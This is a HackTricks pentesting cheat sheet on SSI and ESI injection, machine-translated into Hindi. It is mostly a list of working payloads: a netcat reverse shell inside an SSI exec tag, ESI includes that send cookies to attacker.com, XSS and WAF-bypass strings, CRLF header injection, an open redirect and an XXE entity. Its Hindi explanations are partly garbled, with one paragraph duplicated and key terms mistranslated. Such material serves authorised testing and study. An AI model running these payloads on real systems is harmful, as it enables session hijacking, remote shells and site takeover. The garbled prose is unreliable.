hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

243 lines
22 KiB
Markdown
Raw Normal View History

2023-11-06 08:38:02 +00:00
# सर्वर साइड सम्मिलन / एज साइड सम्मिलन इंजेक्शन
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **फॉलो** करें मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।**
2022-04-28 16:01:33 +00:00
</details>
2023-11-06 08:38:02 +00:00
## सर्वर साइड सम्मिलन मूल जानकारी
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
SSI (Server Side Includes) निर्देशिकाएं हैं जो **HTML पेज में रखी जाती हैं, और सर्वर पर मूल्यांकन किए जाते हैं** जब पेज सेवा की जा रही होती हैं। इन्हें आप **मौजूदा HTML पेज में नामित कर सकते हैं**, जैसे:
2021-06-07 09:30:58 +00:00
`<!--#echo var="DATE_LOCAL" -->`
2023-11-06 08:38:02 +00:00
और, जब पेज सेवा की जाती है, इस टुकड़े को मूल्यांकन किया जाएगा और इसके मूल्य से बदल जाएगा:
2021-06-07 09:30:58 +00:00
`Tuesday, 15-Jan-2013 19:28:54 EST`
2023-11-06 08:38:02 +00:00
SSI का उपयोग कब करना है और कब किसी कार्यक्रम द्वारा पूरा पेज उत्पन्न करना है, यह आमतौर पर पेज कितना स्थिर है और पेज सेवा होने पर हर बार कितना पुनर्गणन करने की आवश्यकता होती है के आधार पर निर्णय किया जाता है। SSI एक छोटे टुकड़ों की जानकारी जोड़ने का एक बहुत अच्छा तरीका है, जैसे कि वर्तमान समय - ऊपर दिखाया गया है। लेकिन यदि आपके पेज का अधिकांश हिस्सा सेवा की जाने वाली समय पर उत्पन्न हो रहा है, तो आपको किसी अन्य समाधान की तलाश करनी चाहिए। (परिभाषा [यहां](https://httpd.apache.org/docs/current/howto/ssi.html) से ली गई है)।
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
आप यह जान सकते हैं कि SSI की उपस्थिति है यदि वेब एप्लिकेशन `.shtml`, `.shtm` या `.stm` नामक एक्सटेंशन वाले फ़ाइलों का उपयोग करती है, लेकिन यह केवल एक मामला नहीं है।
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
एक साधारित SSI अभिव्यक्ति का निम्नलिखित प्रारूप होता है:
```
2021-06-07 09:30:58 +00:00
<!--#directive param="value" -->
```
2023-11-06 08:38:02 +00:00
### जांच करें
2022-10-03 13:43:01 +00:00
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
2021-06-07 09:30:58 +00:00
```
2023-11-06 08:38:02 +00:00
## एज साइड इनक्लूजन
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
यहां एक समस्या है **जानकारी कैशिंग या गतिशील एप्लिकेशन** के रूप में जो सामग्री का हिस्सा हो सकता है, उसका **परिवर्तित हो सकता है** जब सामग्री अगली बार प्राप्त की जाती है। यही कारण है कि **ESI** का उपयोग किया जाता है, ESI टैग का उपयोग करके **गतिशील सामग्री को उत्पन्न करने की आवश्यकता** को दर्शाने के लिए कैश संस्करण भेजने से पहले।\
यदि एक **हमलावर** कैश सामग्री में **ESI टैग को इंजेक्ट** करने में सक्षम होता है, तो उसे उपयोगकर्ताओं को भेजने से पहले दस्तावेज़ पर **अनियमित सामग्री को इंजेक्ट** करने की क्षमता हो सकती है।
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
### ESI पता लगाना
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
निम्नलिखित **हेडर** से पता चलता है कि सर्वर ESI का उपयोग कर रहा है:
```
2021-06-07 09:30:58 +00:00
Surrogate-Control: content="ESI/1.0"
```
2023-11-06 08:38:02 +00:00
यदि आप इस हैडर को नहीं ढूंढ सकते हैं, तो सर्वर **शायद ESI का उपयोग कर रहा हो** सकता है।\
एक **अंधा शोधन दृष्टिकोण भी उपयोग किया जा सकता है** क्योंकि एक अनुरोध हमलावरों के सर्वर पर पहुंचना चाहिए:
2022-10-03 13:43:01 +00:00
```javascript
// Basic detection
2023-11-06 08:38:02 +00:00
hell<!--esi-->o
2023-01-04 14:57:03 +00:00
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
2022-10-03 13:43:01 +00:00
// XSS Exploitation Example
2023-01-04 14:57:03 +00:00
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
2022-10-03 13:43:01 +00:00
// Cookie Stealer (bypass httpOnly flag)
2023-01-04 14:57:03 +00:00
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
2022-10-03 13:43:01 +00:00
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
2021-06-07 09:30:58 +00:00
```
2023-11-06 08:38:02 +00:00
### ESI शोषण
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) ने एक तालिका बनाई है जो हमें समझने में मदद करेगी कि हम किसी भी ESI-सक्षम सॉफ़्टवेयर के खिलाफ किन संभावित हमलों का प्रयास कर सकते हैं, जो कि समर्थित विभिन्न कार्यक्षमता पर निर्भर करेगा। नीचे दी गई तालिका के स्तंभ नामों के बारे में हम कुछ स्पष्टीकरण प्रदान करेंगे:
2022-10-03 13:43:01 +00:00
2023-11-06 08:38:02 +00:00
* **Includes**: `<esi:includes>` निर्देशिका का समर्थन करता है
* **Vars**: `<esi:vars>` निर्देशिका का समर्थन करता है। XSS फ़िल्टर को उम्मीदवार करने के लिए उपयोगी है
* **Cookie**: दस्तावेज़ कुकीज़ ESI इंजन के लिए पहुँचने योग्य हैं
* **Upstream Headers Required**: यदि अपस्ट्रीम एप्लिकेशन हेडर प्रदान नहीं करता है, तो सरोगेट एप्लिकेशन ESI विधानों को प्रसंस्करण नहीं करेगा
* **Host Whitelist**: इस मामले में, ESI समावेश केवल अनुमति प्राप्त सर्वर होस्ट से संभव हैं, जिससे SSRF, उदाहरण के लिए, केवल उन होस्ट के खिलाफ संभव हैं
2022-10-03 13:43:01 +00:00
2023-11-06 08:38:02 +00:00
| **सॉफ़्टवेयर** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
2022-10-03 13:43:01 +00:00
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
2023-11-06 08:38:02 +00:00
| Squid3 | हाँ | हाँ | हाँ | हाँ | नहीं |
| Varnish Cache | हाँ | नहीं | नहीं | हाँ | हाँ |
| Fastly | हाँ | नहीं | नहीं | नहीं | हाँ |
| Akamai ESI Test Server (ETS) | हाँ | हाँ | हाँ | नहीं | नहीं |
| NodeJS esi | हाँ | हाँ | हाँ | नहीं | नहीं |
| NodeJS nodesi | हाँ | नहीं | नहीं | नहीं | वैकल्पिक |
2022-10-03 13:43:01 +00:00
#### XSS
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
निम्नलिखित ESI निर्देशिका सर्वर के प्रतिक्रिया में एक विचित्र फ़ाइल लोड करेगी।
2021-06-07 09:30:58 +00:00
```markup
<esi:include src=http://attacker.com/xss.html>
```
2023-11-06 08:38:02 +00:00
फ़ाइल _http://attacker.com/xss.html_ में `<script>alert(1)</script>` जैसे XSS पेलोड हो सकता है।
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
#### क्लाइंट XSS सुरक्षा को बाईपास करें
2021-06-07 09:30:58 +00:00
```markup
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
2023-01-04 14:57:03 +00:00
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
2021-06-07 09:30:58 +00:00
```
2023-11-06 08:38:02 +00:00
#### कुकी चोरी करें
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
* दूरस्थ कुकी चोरी
2021-06-07 09:30:58 +00:00
```markup
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
2023-11-06 08:38:02 +00:00
* XSS के माध्यम से प्रतिक्रिया में उसे प्रतिबिंबित करके HTTP\_ONLY कुकी चुराएं:
2023-01-04 14:57:03 +00:00
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
```
<figure><img src="../.gitbook/assets/image (4) (7).png" alt=""><figcaption></figcaption></figure>
2023-01-04 14:57:03 +00:00
2023-11-06 08:38:02 +00:00
* पूर्ण खाता हासिल करना कुकीज़ को प्रतिबिंबित करके
2023-01-04 14:57:03 +00:00
<figure><img src="../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
2023-11-06 08:38:02 +00:00
#### निजी स्थानीय फ़ाइल
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
इसे "स्थानीय फ़ाइल सम्मिलन" से गलती से न गिनें:
2021-06-07 09:30:58 +00:00
```markup
<esi:include src="secret.txt">
```
2022-10-03 13:43:01 +00:00
#### CRLF
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
CRLF (Carriage Return Line Feed) एक विशेष वर्णक्रम है जो टेक्स्ट फ़ाइलों में नए पंक्तियों को अलग करने के लिए उपयोग होता है। CRLF एक विशेष स्थानांतरण वर्णक्रम है जिसमें पहले कार्यक्षेत्र वापस जाता है और फिर नया पंक्ति शुरू होती है। यह वर्णक्रम वेब अनुरोधों में भी उपयोग होता है, जहां यह अनुरोध शीर्षक और शरीर के बीच एक रिक्त स्थान बनाने के लिए उपयोग किया जाता है।
एक CRLF अद्यतन के द्वारा, एक हमलावर एक वेब अनुरोध में अतिरिक्त हेडर्स जोड़ सकता है और इसे अपनी इच्छानुसार संशोधित कर सकता है। इसका उपयोग करके, एक हमलावर अपने अनुरोध को बदल सकता है और उपयोगकर्ता के द्वारा अपेक्षित परिणाम प्राप्त करने के लिए अतिरिक्त जानकारी प्राप्त कर सकता है।
एक CRLF अद्यतन के द्वारा, एक हमलावर एक वेब अनुरोध में अतिरिक्त हेडर्स जोड़ सकता है और इसे अपनी इच्छानुसार संशोधित कर सकता है। इसका उपयोग करके, एक हमलावर अपने अनुरोध को बदल सकता है और उपयोगकर्ता के द्वारा अपेक्षित परिणाम प्राप्त करने के लिए अतिरिक्त जानकारी प्राप्त कर सकता है।
2021-06-07 09:30:58 +00:00
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
2023-11-06 08:38:02 +00:00
#### ओपन रीडायरेक्ट
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
निम्नलिखित उत्तर में `Location` हेडर जोड़ देगा।
2023-01-04 14:57:03 +00:00
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
2023-11-06 08:38:02 +00:00
#### हेडर जोड़ें
2023-01-04 14:57:03 +00:00
2023-11-06 08:38:02 +00:00
* बलवान अनुरोध में हेडर जोड़ें
2022-10-15 14:18:24 +00:00
```html
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
2023-11-06 08:38:02 +00:00
* उत्तर में हेडर जोड़ें (एक ऐसे प्रतिक्रिया में "Content-Type: text/json" को छलनी करने के लिए उपयोगी)
2023-01-04 14:57:03 +00:00
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
```
<figure><img src="../.gitbook/assets/image (5) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
2023-01-04 14:57:03 +00:00
2023-11-06 08:38:02 +00:00
#### CRLF में हेडर जोड़ें (**CVE-2019-2438)**
2022-10-15 14:18:24 +00:00
```markup
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
2023-11-06 08:38:02 +00:00
#### अकामाई डीबग
2022-10-15 14:18:24 +00:00
2023-11-06 08:38:02 +00:00
यह जवाब में शामिल होने वाली डीबग जानकारी भेजेगा:
2021-06-07 09:30:58 +00:00
```markup
<esi:debug/>
```
2022-10-03 13:43:01 +00:00
### ESI + XSLT = XXE
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
यह भी संभव है कि `xslt` मान को _dca_ पैरामीटर में निर्दिष्ट करके **\_**eXtensible Stylesheet Language Transformations (XSLT)**\_** \*\* आधारित ESI इनक्लूड जोड़ा जा सकता है। निम्नलिखित इनक्लूड HTTP सरोगेट को XML और XSLT फ़ाइल का अनुरोध करेगा। फिर XSLT फ़ाइल का उपयोग XML फ़ाइल को फ़िल्टर करने के लिए किया जाता है। इस XML फ़ाइल का उपयोग _XML External Entity (XXE)_ हमलों को करने के लिए किया जा सकता है। यह हमलावर्तियों को SSRF हमले करने की अनुमति देता है, जो बहुत उपयोगी नहीं है क्योंकि इसे ESI इनक्लूड के माध्यम से किया जाना चाहिए, जो खुद एक SSRF वेक्टर है। बाहरी DTDs को पार्स नहीं किया जाता है क्योंकि इसके पीछे की पुस्तकालय (Xalan) में इसके लिए कोई समर्थन नहीं है। इसका मतलब है कि हम स्थानीय फ़ाइलों को निकाल नहीं सकते हैं।
2021-06-07 09:30:58 +00:00
```markup
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
2023-11-06 08:38:02 +00:00
एक्सएसएलटी फ़ाइल:
2021-06-07 09:30:58 +00:00
```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
2023-11-06 08:38:02 +00:00
एक्सएसएलटी पेज की जांच करें:
2021-06-07 11:31:39 +00:00
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
{% endcontent-ref %}
2021-06-07 11:31:39 +00:00
2023-11-06 08:38:02 +00:00
### संदर्भ
2021-06-07 09:30:58 +00:00
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
2022-10-03 13:43:01 +00:00
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
2023-01-04 14:57:03 +00:00
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
2021-06-07 09:30:58 +00:00
2023-11-06 08:38:02 +00:00
## ब्रूट-फोर्स डिटेक्शन सूची
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को पीडीएफ में डाउनलोड** करने की इच्छा रखते हैं? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**.
2022-04-28 16:01:33 +00:00
</details>